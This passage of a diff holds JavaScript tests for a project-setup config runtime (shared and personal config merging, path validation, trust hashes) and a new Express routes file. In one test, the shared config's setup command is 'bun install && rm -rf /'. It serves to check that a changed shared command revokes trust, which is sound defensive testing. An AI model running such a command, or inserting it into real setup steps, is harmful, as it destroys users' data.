const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'] }, { status: 'invalid', reason: 'invalid JSON: x' });
|
|
276
|
+
expect(merged.setupWorktree).toEqual(['mine']);
|
|
277
|
+
expect(merged.shared.status).toBe('invalid');
|
|
278
|
+
expect(merged.shared.reason).toBe('invalid JSON: x');
|
|
279
|
+
expect(merged.shared.projectActions).toEqual([]);
|
|
280
|
+
});
|
|
281
|
+
});
|
|
282
|
+
|
|
283
|
+
describe('shared project config writes', () => {
|
|
284
|
+
const empty = { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null };
|
|
285
|
+
|
|
286
|
+
it('applies a patch over the current config and refuses wrong shapes', () => {
|
|
287
|
+
const next = applySharedProjectSetupPatch({ ...empty, setupWorktree: ['old'] }, {
|
|
288
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', source: 'personal', icon: '' }],
|
|
289
|
+
plansDir: './docs/plans/',
|
|
290
|
+
});
|
|
291
|
+
expect(next.setupWorktree).toEqual(['old']);
|
|
292
|
+
expect(next.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }]);
|
|
293
|
+
expect(next.plansDir).toBe('docs/plans');
|
|
294
|
+
expect(applySharedProjectSetupPatch(next, { plansDir: '' }).plansDir).toBeNull();
|
|
295
|
+
expect(() => applySharedProjectSetupPatch(empty, { plansDir: '/etc' })).toThrow('plansDir must be');
|
|
296
|
+
expect(() => applySharedProjectSetupPatch(empty, { setupWorktree: 'x' })).toThrow('setupWorktree must be');
|
|
297
|
+
expect(() => applySharedProjectSetupPatch(empty, { setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
|
|
298
|
+
});
|
|
299
|
+
|
|
300
|
+
it('serializes version first, only the keys that carry something, without source marks', () => {
|
|
301
|
+
expect(serializeSharedProjectConfig({ ...empty, projectActions: [{ id: 'dev', name: 'Dev', command: 'x', icon: null, source: 'personal' }], plansDir: 'docs/plans' })).toBe([
|
|
302
|
+
'{',
|
|
303
|
+
' "version": 1,',
|
|
304
|
+
' "projectActions": [',
|
|
305
|
+
' {',
|
|
306
|
+
' "id": "dev",',
|
|
307
|
+
' "name": "Dev",',
|
|
308
|
+
' "command": "x"',
|
|
309
|
+
' }',
|
|
310
|
+
' ],',
|
|
311
|
+
' "plansDir": "docs/plans"',
|
|
312
|
+
'}',
|
|
313
|
+
'',
|
|
314
|
+
].join('\n'));
|
|
315
|
+
expect(isSharedProjectConfigEmpty(empty)).toBe(true);
|
|
316
|
+
expect(isSharedProjectConfigEmpty({ ...empty, setupWorktreeWait: false })).toBe(false);
|
|
317
|
+
});
|
|
318
|
+
});
|
|
319
|
+
|
|
320
|
+
describe('project id', () => {
|
|
321
|
+
it('round-trips a path through the id', () => {
|
|
322
|
+
const id = createProjectIdFromPath('/Users/me/projects/repo/');
|
|
323
|
+
expect(id.startsWith('path_')).toBe(true);
|
|
324
|
+
expect(projectPathFromId(id)).toBe('/Users/me/projects/repo');
|
|
325
|
+
expect(projectPathFromId('project-test')).toBe('');
|
|
326
|
+
expect(projectPathFromId('path_')).toBe('');
|
|
327
|
+
});
|
|
328
|
+
});
|
|
329
|
+
|
|
330
|
+
describe('project setup runtime', () => {
|
|
331
|
+
it('reads an empty merged view for a project without files', async () => {
|
|
332
|
+
const { runtime, cleanup } = await createRuntime();
|
|
333
|
+
try {
|
|
334
|
+
const view = await runtime.readProjectSetup('project-a');
|
|
335
|
+
expect(view.setupWorktree).toEqual([]);
|
|
336
|
+
expect(view.setupWorktreeWait).toBe(false);
|
|
337
|
+
expect(view.projectActions).toEqual([]);
|
|
338
|
+
expect(view.draftStarters).toEqual([]);
|
|
339
|
+
expect(view.shared.status).toBe('missing');
|
|
340
|
+
expect(view.personal).toEqual(emptyPersonal);
|
|
341
|
+
} finally {
|
|
342
|
+
await cleanup();
|
|
343
|
+
}
|
|
344
|
+
});
|
|
345
|
+
|
|
346
|
+
it('round-trips a patch and preserves server-owned and unknown keys', async () => {
|
|
347
|
+
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
|
|
348
|
+
try {
|
|
349
|
+
await mkdir(path.join(tempRoot, 'projects'), { recursive: true });
|
|
350
|
+
await writeFile(path.join(tempRoot, 'projects', 'project-a.json'), JSON.stringify({
|
|
351
|
+
version: 1,
|
|
352
|
+
scheduledTasks: [{ id: 'task', name: 'Keep me' }],
|
|
353
|
+
futureKey: { from: 'a newer build' },
|
|
354
|
+
'setup-worktree': ['old'],
|
|
355
|
+
}));
|
|
356
|
+
|
|
357
|
+
const view = await runtime.updateProjectSetup('project-a', {
|
|
358
|
+
setupWorktree: ['bun install', ''],
|
|
359
|
+
setupWorktreeWait: true,
|
|
360
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
|
361
|
+
projectActionsPrimaryId: 'dev',
|
|
362
|
+
projectPath: '/repo/a',
|
|
363
|
+
});
|
|
364
|
+
expect(view.setupWorktree).toEqual(['bun install']);
|
|
365
|
+
expect(view.setupWorktreeWait).toBe(true);
|
|
366
|
+
expect(view.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'personal' }]);
|
|
367
|
+
expect(view.projectActionsPrimaryId).toBe('dev');
|
|
368
|
+
|
|
369
|
+
const raw = await readRaw('project-a');
|
|
370
|
+
expect(raw.scheduledTasks).toEqual([{ id: 'task', name: 'Keep me' }]);
|
|
371
|
+
expect(raw.futureKey).toEqual({ from: 'a newer build' });
|
|
372
|
+
expect(raw['setup-worktree']).toEqual(['bun install']);
|
|
373
|
+
expect(raw['setup-worktree-wait']).toBe(true);
|
|
374
|
+
expect(raw.projectPath).toBe('/repo/a');
|
|
375
|
+
expect(await runtime.readProjectSetup('project-a')).toEqual(view);
|
|
376
|
+
} finally {
|
|
377
|
+
await cleanup();
|
|
378
|
+
}
|
|
379
|
+
});
|
|
380
|
+
|
|
381
|
+
it('clears the primary action id when the patch sets it to null', async () => {
|
|
382
|
+
const { runtime, readRaw, cleanup } = await createRuntime();
|
|
383
|
+
try {
|
|
384
|
+
await runtime.updateProjectSetup('project-a', {
|
|
385
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'x' }],
|
|
386
|
+
projectActionsPrimaryId: 'dev',
|
|
387
|
+
});
|
|
388
|
+
await runtime.updateProjectSetup('project-a', { projectActionsPrimaryId: null });
|
|
389
|
+
expect(await readRaw('project-a')).not.toHaveProperty('projectActionsPrimaryId');
|
|
390
|
+
expect((await runtime.readProjectSetup('project-a')).projectActionsPrimaryId).toBeNull();
|
|
391
|
+
} finally {
|
|
392
|
+
await cleanup();
|
|
393
|
+
}
|
|
394
|
+
});
|
|
395
|
+
|
|
396
|
+
it('leaves the file alone when the patch is invalid', async () => {
|
|
397
|
+
const { runtime, tempRoot, cleanup } = await createRuntime();
|
|
398
|
+
try {
|
|
399
|
+
await expect(runtime.updateProjectSetup('project-a', { setupWorktree: 'nope' })).rejects.toThrow('setupWorktree must be');
|
|
400
|
+
await expect(readFile(path.join(tempRoot, 'projects', 'project-a.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
|
401
|
+
} finally {
|
|
402
|
+
await cleanup();
|
|
403
|
+
}
|
|
404
|
+
});
|
|
405
|
+
|
|
406
|
+
it('does not clobber a scheduled task written between read and write', async () => {
|
|
407
|
+
const { runtime, readRaw, cleanup } = await createRuntime();
|
|
408
|
+
try {
|
|
409
|
+
await runtime.upsertScheduledTask('project-a', {
|
|
410
|
+
name: 'Nightly',
|
|
411
|
+
enabled: true,
|
|
412
|
+
schedule: { kind: 'daily', time: '09:30', timezone: 'UTC' },
|
|
413
|
+
execution: { prompt: 'hi', providerID: 'openai', modelID: 'gpt' },
|
|
414
|
+
});
|
|
415
|
+
await Promise.all([
|
|
416
|
+
runtime.updateProjectSetup('project-a', { setupWorktree: ['bun install'] }),
|
|
417
|
+
runtime.updateProjectSetup('project-a', { draftStarters: [{ type: 'skill', name: 's' }] }),
|
|
418
|
+
]);
|
|
419
|
+
const raw = await readRaw('project-a');
|
|
420
|
+
expect(raw.scheduledTasks).toHaveLength(1);
|
|
421
|
+
expect(raw['setup-worktree']).toEqual(['bun install']);
|
|
422
|
+
expect(raw.draftStarters).toEqual([{ type: 'skill', name: 's' }]);
|
|
423
|
+
} finally {
|
|
424
|
+
await cleanup();
|
|
425
|
+
}
|
|
426
|
+
});
|
|
427
|
+
|
|
428
|
+
it('reads the shared file from the checkout the id names and merges it', async () => {
|
|
429
|
+
const { runtime, tempRoot, cleanup } = await createRuntime();
|
|
430
|
+
try {
|
|
431
|
+
const repo = path.join(tempRoot, 'repo');
|
|
432
|
+
await mkdir(path.join(repo, '.aiworker'), { recursive: true });
|
|
433
|
+
await writeFile(path.join(repo, '.aiworker', 'project.json'), JSON.stringify({
|
|
434
|
+
version: 1,
|
|
435
|
+
setupWorktree: ['bun install'],
|
|
436
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: 'lint', name: 'Lint', command: 'bun lint' }],
|
|
437
|
+
draftStarters: [{ type: 'skill', name: 'triage' }],
|
|
438
|
+
plansDir: 'docs/plans',
|
|
439
|
+
}));
|
|
440
|
+
const projectId = createProjectIdFromPath(repo);
|
|
441
|
+
|
|
442
|
+
const fresh = await runtime.readProjectSetup(projectId);
|
|
443
|
+
expect(fresh.shared.status).toBe('ok');
|
|
444
|
+
expect(fresh.shared.plansDir).toBe('docs/plans');
|
|
445
|
+
expect(fresh.setupWorktree).toEqual(['bun install']);
|
|
446
|
+
expect(fresh.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'lint:shared']);
|
|
447
|
+
|
|
448
|
+
const view = await runtime.updateProjectSetup(projectId, {
|
|
449
|
+
setupWorktree: ['cp .env.example .env'],
|
|
450
|
+
hiddenSharedActionIds: ['lint'],
|
|
451
|
+
projectActions: [{ id: 'mine', name: 'Mine', command: 'x' }],
|
|
452
|
+
});
|
|
453
|
+
expect(view.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
|
|
454
|
+
expect(view.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'mine:personal']);
|
|
455
|
+
expect(view.draftStarters).toEqual([{ type: 'skill', name: 'triage', source: 'shared' }]);
|
|
456
|
+
expect(view.personal.hiddenSharedActionIds).toEqual(['lint']);
|
|
457
|
+
|
|
458
|
+
expect(view.trust.trusted).toBe(false);
|
|
459
|
+
const trusted = await runtime.updateProjectSetup(projectId, { sharedTrustHash: view.trust.hash });
|
|
460
|
+
expect(trusted.trust.trusted).toBe(true);
|
|
461
|
+
expect(trusted.personal.sharedTrust?.hash).toBe(view.trust.hash);
|
|
462
|
+
// A pull that changes a shared command invalidates the answer.
|
|
463
|
+
await writeFile(path.join(repo, '.aiworker', 'project.json'), JSON.stringify({ version: 1, setupWorktree: ['bun install && rm -rf /'] }));
|
|
464
|
+
expect((await runtime.readProjectSetup(projectId)).trust.trusted).toBe(false);
|
|
465
|
+
const reset = await runtime.updateProjectSetup(projectId, { sharedTrustHash: null });
|
|
466
|
+
expect(reset.personal.sharedTrust).toBeNull();
|
|
467
|
+
} finally {
|
|
468
|
+
await cleanup();
|
|
469
|
+
}
|
|
470
|
+
});
|
|
471
|
+
|
|
472
|
+
it('writes the shared file into the checkout, trusts it for the writer, and removes it when emptied', async () => {
|
|
473
|
+
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
|
|
474
|
+
try {
|
|
475
|
+
const repo = path.join(tempRoot, 'repo');
|
|
476
|
+
await mkdir(repo, { recursive: true });
|
|
477
|
+
const projectId = createProjectIdFromPath(repo);
|
|
478
|
+
const sharedPath = path.join(repo, '.aiworker', 'project.json');
|
|
479
|
+
|
|
480
|
+
const shared = await runtime.updateSharedProjectSetup(projectId, {
|
|
481
|
+
setupWorktree: ['bun install'],
|
|
482
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
|
483
|
+
});
|
|
484
|
+
expect(JSON.parse(await readFile(sharedPath, 'utf8'))).toEqual({
|
|
485
|
+
version: 1,
|
|
486
|
+
setupWorktree: ['bun install'],
|
|
487
|
+
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
|
|
488
|
+
});
|
|
489
|
+
expect(shared.shared.status).toBe('ok');
|
|
490
|
+
expect(shared.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared']);
|
|
491
|
+
// The writer has seen what it shared: trusted here, prompt stays for teammates.
|
|
492
|
+
expect(shared.trust.trusted).toBe(true);
|
|
493
|
+
expect((await readRaw(projectId)).sharedTrust.hash).toBe(shared.trust.hash);
|
|
494
|
+
|
|
495
|
+
// A second patch replaces only the keys it names.
|
|
496
|
+
const withPlans = await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
|
|
497
|
+
expect(withPlans.shared.plansDir).toBe('docs/plans');
|
|
498
|
+
expect(withPlans.shared.setupWorktree).toEqual(['bun install']);
|
|
499
|
+
|
|
500
|
+
const emptied = await runtime.updateSharedProjectSetup(projectId, { setupWorktree: [], projectActions: [], plansDir: null });
|
|
501
|
+
expect(emptied.shared.status).toBe('missing');
|
|
502
|
+
await expect(readFile(sharedPath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
|
503
|
+
await expect(readFile(path.join(repo, '.aiworker'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
|
504
|
+
expect((await readRaw(projectId)).sharedTrust).toBeUndefined();
|
|
505
|
+
} finally {
|
|
506
|
+
await cleanup();
|
|
507
|
+
}
|
|
508
|
+
});
|
|
509
|
+
|
|
510
|
+
it('refuses to write the shared file for a checkout that does not exist and on a bad patch', async () => {
|
|
511
|
+
const { runtime, tempRoot, cleanup } = await createRuntime();
|
|
512
|
+
try {
|
|
513
|
+
const projectId = createProjectIdFromPath(path.join(tempRoot, 'missing-repo'));
|
|
514
|
+
await expect(runtime.updateSharedProjectSetup(projectId, { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
|
|
515
|
+
await expect(runtime.updateSharedProjectSetup('project-test', { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
|
|
516
|
+
const repo = path.join(tempRoot, 'repo');
|
|
517
|
+
await mkdir(repo, { recursive: true });
|
|
518
|
+
await expect(runtime.updateSharedProjectSetup(createProjectIdFromPath(repo), { plansDir: '../x' })).rejects.toThrow('plansDir must be');
|
|
519
|
+
await expect(readFile(path.join(repo, '.aiworker', 'project.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
|
|
520
|
+
} finally {
|
|
521
|
+
await cleanup();
|
|
522
|
+
}
|
|
523
|
+
});
|
|
524
|
+
|
|
525
|
+
it('resolves the repository plans folder: the default without plansDir, the configured one instead of it', async () => {
|
|
526
|
+
const { runtime, tempRoot, cleanup } = await createRuntime();
|
|
527
|
+
try {
|
|
528
|
+
const repo = path.join(tempRoot, 'repo');
|
|
529
|
+
await mkdir(repo, { recursive: true });
|
|
530
|
+
const projectId = createProjectIdFromPath(repo);
|
|
531
|
+
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, '.aiworker', 'plans'));
|
|
532
|
+
await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
|
|
533
|
+
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, 'docs', 'plans'));
|
|
534
|
+
expect(await runtime.resolveSharedPlansDir('project-test')).toBeNull();
|
|
535
|
+
} finally {
|
|
536
|
+
await cleanup();
|
|
537
|
+
}
|
|
538
|
+
});
|
|
539
|
+
|
|
540
|
+
it('reports a broken shared file as invalid and still serves the personal setup', async () => {
|
|
541
|
+
const { runtime, tempRoot, cleanup } = await createRuntime();
|
|
542
|
+
try {
|
|
543
|
+
const repo = path.join(tempRoot, 'repo');
|
|
544
|
+
await mkdir(path.join(repo, '.aiworker'), { recursive: true });
|
|
545
|
+
await writeFile(path.join(repo, '.aiworker', 'project.json'), '{ broken');
|
|
546
|
+
const projectId = createProjectIdFromPath(repo);
|
|
547
|
+
await runtime.updateProjectSetup(projectId, { setupWorktree: ['mine'] });
|
|
548
|
+
|
|
549
|
+
const view = await runtime.readProjectSetup(projectId);
|
|
550
|
+
expect(view.shared.status).toBe('invalid');
|
|
551
|
+
expect(view.shared.reason).toMatch(/invalid JSON/);
|
|
552
|
+
expect(view.setupWorktree).toEqual(['mine']);
|
|
553
|
+
} finally {
|
|
554
|
+
await cleanup();
|
|
555
|
+
}
|
|
556
|
+
});
|
|
557
|
+
});
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Project setup routes: the client-owned part of a project's config file
|
|
3
|
+
* (worktree setup commands, project actions, draft starters).
|
|
4
|
+
*
|
|
5
|
+
* These replace the shared UI's direct `/api/fs/*` access to
|
|
6
|
+
* `~/.config/openchamber/projects/<projectId>.json`. The client no longer
|
|
7
|
+
* resolves the home directory or composes the path, and every write goes
|
|
8
|
+
* through the same lock the scheduled-task writers hold.
|
|
9
|
+
*
|
|
10
|
+
* `/api/projects` is on the JSON-body allowlist in `core-routes.js`, so
|
|
11
|
+
* `req.body` is parsed here without a per-route parser.
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
import { isProjectSetupValidationError } from './project-setup.js';
|
|
15
|
+
|
|
16
|
+
const isObjectRecord = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
|
|
17
|
+
|
|
18
|
+
const respondWithError = (res, error, fallbackMessage) => {
|
|
19
|
+
const message = error instanceof Error ? error.message : fallbackMessage;
|
|
20
|
+
if (isProjectSetupValidationError(error)) {
|
|
21
|
+
return res.status(400).json({ error: message });
|
|
22
|
+
}
|
|
23
|
+
return res.status(500).json({ error: message || fallbackMessage });
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
export const registerProjectSetupRoutes = (app, dependencies) => {
|
|
27
|
+
const { projectConfigRuntime } = dependencies;
|
|
28
|
+
|
|
29
|
+
app.get('/api/projects/:projectId/config', async (req, res) => {
|
|
30
|
+
try {
|
|
31
|
+
return res.json(await projectConfigRuntime.readProjectSetup(req.params.projectId));
|
|
32
|
+
} catch (error) {
|
|
33
|
+
return respondWithError(res, error, 'Failed to read project config');
|
|
34
|
+
}
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
// The team's shared file in the checkout; see `updateSharedProjectSetup`.
|
|
38
|
+
app.put('/api/projects/:projectId/config/shared', async (req, res) => {
|
|
39
|
+
if (!isObjectRecord(req.body)) {
|
|
40
|
+
return res.status(400).json({ error: 'Body must be an object' });
|
|
41
|
+
}
|
|
42
|
+
try {
|
|
43
|
+
return res.json(await projectConfigRuntime.updateSharedProjectSetup(req.params.projectId, req.body));
|
|
44
|
+
} catch (error) {
|
|
45
|
+
return respondWithError(res, error, 'Failed to save the shared project config');
|
|
46
|
+
}
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
app.put('/api/projects/:projectId/config', async (req, res) => {
|
|
50
|
+
if (!isObjectRecord(req.body)) {
|
|
51
|
+
return res.status(400).json({ error: 'Body must be an object' });
|
|
52
|
+
}
|
|
53
|
+
try {
|
|
54
|
+
return res.json(await projectConfigRuntime.updateProjectSetup(req.params.projectId, req.body));
|
|
55
|
+
} catch (error) {
|
|
56
|
+
return respondWithError(res, error, 'Failed to save project config');
|
|
57
|
+
}
|
|
58
|
+
});
|
|
59
|
+
};
|